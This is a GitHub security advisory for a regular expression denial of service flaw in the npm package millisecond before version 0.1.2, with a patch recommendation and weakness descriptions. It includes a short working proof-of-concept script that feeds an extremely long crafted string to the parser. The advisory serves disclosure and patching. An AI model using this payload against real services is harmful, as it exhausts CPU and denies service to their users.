Skip to content

Regular Expression Denial of Service in millisecond

Moderate severity GitHub Reviewed Published Sep 22, 2021 to the GitHub Advisory Database • Updated Jan 9, 2023

Package

npm millisecond (npm)

Affected versions

< 0.1.2

Patched versions

0.1.2

Description

Versions of millisecond prior to 0.1.2 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.

Proof of concept

var ms = require('millisecond');
var genstr = function (len, chr) {
   var result = "";
   for (i=0; i<=len; i++) {
       result = result + chr;
   }

   return result;
}

ms(genstr(process.argv[2], "5") + " minutea");

Recommendation

Update to version 0.1.2 or later.

References

Reviewed Sep 22, 2021
Published to the GitHub Advisory Database Sep 22, 2021
Last updated Jan 9, 2023

Severity

Moderate

EPSS score

Weaknesses

Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource, thereby enabling an actor to influence the amount of resources consumed, eventually leading to the exhaustion of available resources. Learn more on MITRE.

Inefficient Regular Expression Complexity

The product uses a regular expression with an inefficient, possibly exponential worst-case computational complexity that consumes excessive CPU cycles. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-m489-xr35-fjxr

Source code

No known source code
Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.